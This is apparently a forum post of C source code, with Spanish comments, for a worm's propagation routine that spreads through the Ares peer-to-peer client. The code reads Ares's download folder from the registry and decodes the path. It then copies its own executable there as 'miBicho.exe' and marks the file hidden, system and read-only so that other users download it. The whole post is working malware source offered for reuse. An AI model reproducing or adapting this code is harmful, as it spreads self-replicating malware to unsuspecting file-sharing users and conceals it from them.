Código: Seleccionar todo
////////////////////////////////////////////////////////////////
//Autor: Hacker_Zero (Traducido de un source de YST)
//Web: http://foro.eduhack.es
//Descripcion: Función de propagación P2P por Ares
////////////////////////////////////////////////////////////////
void InfectP2P()
{
_CopyMemory miCopyMemory=NULL;
miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");
//Obtenemos nuestra ruta
LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetModuleFileName(0,AppName,MAX_PATH);
HKEY hReg;
DWORD regLenght=MAX_PATH*2;
PPERF_DATA_BLOCK regValue =(PPERF_DATA_BLOCK)GlobalAlloc(GPTR,regLenght);
//Abrimos la clave del registro de Ares
if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Ares",0,KEY_READ,&hReg)==ERROR_SUCCESS)
{
//Obtenemos el valor de Dowload.Folder
if(RegQueryValueEx(hReg,"Download.Folder",0,0,(LPBYTE)regValue,®Lenght)!=ERROR_FILE_NOT_FOUND)
{
LPSTR Crypted=(LPSTR)regValue;
LPSTR Decrypted=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
LPSTR Temp=(LPSTR)GlobalAlloc(GPTR,3);
//Desencriptamos la clave del registro, vamos pasando los caracteres de hexa a char
//Vamos caracter por caracter
for(DWORD i=0,x=0;i<regLenght;i++,x++)
{
miCopyMemory(&Temp[0],&Crypted[i*2],2);
Temp[2]=0;
//Si se trata del caracter 'ó' lo hacemos así sinó dá problemas
if (Temp[0]=='C' && Temp[1]=='3')
{
Decrypted[i]='ó';
i++;
}
//Si no es 'ó' pasamos la cadena hex a int y lo añadimos a la cadena desencriptada
else
{
DWORD numero=strtol(Temp,0,16);
Decrypted[x]=numero;
}
}
//Añadimos a la ruta el nombre de nuestro bicho
lstrcat(Decrypted,"\\miBicho.exe");
//Nos copiamos
CopyFileA(AppName,Decrypted,TRUE);
//Ponemos atributos de oculto, de sistema y de sólo lectura al worm
SetFileAttributesA(Decrypted,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_READONLY);
RegCloseKey(hReg);
GlobalFree(Crypted);
GlobalFree(Decrypted);
GlobalFree(Temp);
}
else
{
//Obtenemos el valor de %Local AppData%
RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders",0,KEY_READ,&hReg);
RegQueryValueEx(hReg,"Local AppData",0,0,(LPBYTE)regValue,®Lenght);
RegCloseKey(hReg);
LPSTR DefaultPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
lstrcat(DefaultPath,(LPSTR)regValue);
lstrcat(DefaultPath,"\\Ares\\My Shared Folder\\miBicho.exe");
//Nos copiamos al path
CopyFileA(AppName,DefaultPath,TRUE);
//Ponemos atributos de oculto, de sistema y de sólo lectura al worm
SetFileAttributesA(DefaultPath,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_READONLY);
GlobalFree(DefaultPath);
}
}
GlobalFree(AppName);
GlobalFree(regValue);
//En caso de no estar Ares instalado no hacemos nada
}